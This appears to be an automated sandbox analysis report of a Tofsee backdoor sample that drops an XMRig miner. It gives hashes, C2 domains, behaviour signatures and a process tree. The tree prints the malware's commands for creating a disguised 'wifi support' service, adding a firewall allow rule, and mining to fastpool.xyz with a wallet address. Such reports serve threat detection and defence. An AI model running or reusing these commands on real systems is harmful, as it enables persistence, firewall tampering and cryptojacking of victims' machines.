Analysis

  • max time kernel
    147s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    12-10-2023 17:13

General

  • Target

    file.exe

  • Size

    265KB

  • MD5

    d8e2d4ee9ea649e6c59ed61bf899400e

  • SHA1

    b9a5245c0001c8fea8da2e716120a5cc93b10e6a

  • SHA256

    c78fdf1284c80f1d2822e9f53f85c116e080871086bae22c632f9e6a3786e4a5

  • SHA512

    999f99378b3a277ca6bf54f4211862b519104aaf729de8d8dad692c1a9d48561b25ce5782d970c1bf10ce814ee7787ed5a116d019b3470b74a7b2110015f1485

  • SSDEEP

    3072:QBNZOh4l8XCkzBQhqJQVjBFgbZzxQqhlO6DMNWTsUS1n:4ih4l8XCk1R0XgbZznoYMUX

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2452
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uvcsvaxi\
      2⤵
        PID:3008
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pewdigld.exe" C:\Windows\SysWOW64\uvcsvaxi\
        2⤵
          PID:2260
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uvcsvaxi binPath= "C:\Windows\SysWOW64\uvcsvaxi\pewdigld.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2304
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description uvcsvaxi "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start uvcsvaxi
          2⤵
          • Launches sc.exe
          PID:2628
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2680
      • C:\Windows\SysWOW64\uvcsvaxi\pewdigld.exe
        C:\Windows\SysWOW64\uvcsvaxi\pewdigld.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2712
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1664
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:888

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\pewdigld.exe

        Filesize

        13.0MB

        MD5

        dd766dff978810922f09c122fcd5797e

        SHA1

        a6f297d7b395b8bd02c39d34796af8455ded4dc2

        SHA256

        d6d9db6eb03798a69622481042d71d1b7a909b0f43cf26f1f0b4215632e11468

        SHA512

        9bb9a75f3a983999a0bd4b97764a6977eb236b427ef0cdca7eef23ca9b2e5fdc6761404c4c48c5d970b8ea7e50537324f816e3993202ab79c0d860009284b684

      • C:\Windows\SysWOW64\uvcsvaxi\pewdigld.exe

        Filesize

        13.0MB

        MD5

        dd766dff978810922f09c122fcd5797e

        SHA1

        a6f297d7b395b8bd02c39d34796af8455ded4dc2

        SHA256

        d6d9db6eb03798a69622481042d71d1b7a909b0f43cf26f1f0b4215632e11468

        SHA512

        9bb9a75f3a983999a0bd4b97764a6977eb236b427ef0cdca7eef23ca9b2e5fdc6761404c4c48c5d970b8ea7e50537324f816e3993202ab79c0d860009284b684

      • memory/888-63-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/888-78-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/888-77-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/888-76-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/888-75-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/888-74-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/888-73-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/888-69-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/888-65-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/1664-38-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-44-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-20-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/1664-21-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/1664-23-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/1664-24-0x0000000001A50000-0x0000000001C5F000-memory.dmp

        Filesize

        2.1MB

      • memory/1664-27-0x0000000001A50000-0x0000000001C5F000-memory.dmp

        Filesize

        2.1MB

      • memory/1664-28-0x0000000000290000-0x0000000000296000-memory.dmp

        Filesize

        24KB

      • memory/1664-31-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-34-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-36-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-35-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-37-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-11-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/1664-39-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-40-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-41-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-42-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-43-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-15-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/1664-46-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-45-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-47-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-49-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-48-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-50-0x0000000000560000-0x0000000000570000-memory.dmp

        Filesize

        64KB

      • memory/1664-51-0x0000000000570000-0x0000000000575000-memory.dmp

        Filesize

        20KB

      • memory/1664-54-0x0000000000570000-0x0000000000575000-memory.dmp

        Filesize

        20KB

      • memory/1664-55-0x0000000005990000-0x0000000005D9B000-memory.dmp

        Filesize

        4.0MB

      • memory/1664-58-0x0000000005990000-0x0000000005D9B000-memory.dmp

        Filesize

        4.0MB

      • memory/1664-59-0x0000000000810000-0x0000000000817000-memory.dmp

        Filesize

        28KB

      • memory/1664-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2452-1-0x0000000000290000-0x0000000000390000-memory.dmp

        Filesize

        1024KB

      • memory/2452-8-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/2452-7-0x0000000000400000-0x00000000007CC000-memory.dmp

        Filesize

        3.8MB

      • memory/2452-4-0x0000000000400000-0x00000000007CC000-memory.dmp

        Filesize

        3.8MB

      • memory/2452-2-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/2712-17-0x0000000000400000-0x00000000007CC000-memory.dmp

        Filesize

        3.8MB

      • memory/2712-13-0x0000000000400000-0x00000000007CC000-memory.dmp

        Filesize

        3.8MB

      • memory/2712-10-0x0000000000C30000-0x0000000000D30000-memory.dmp

        Filesize

        1024KB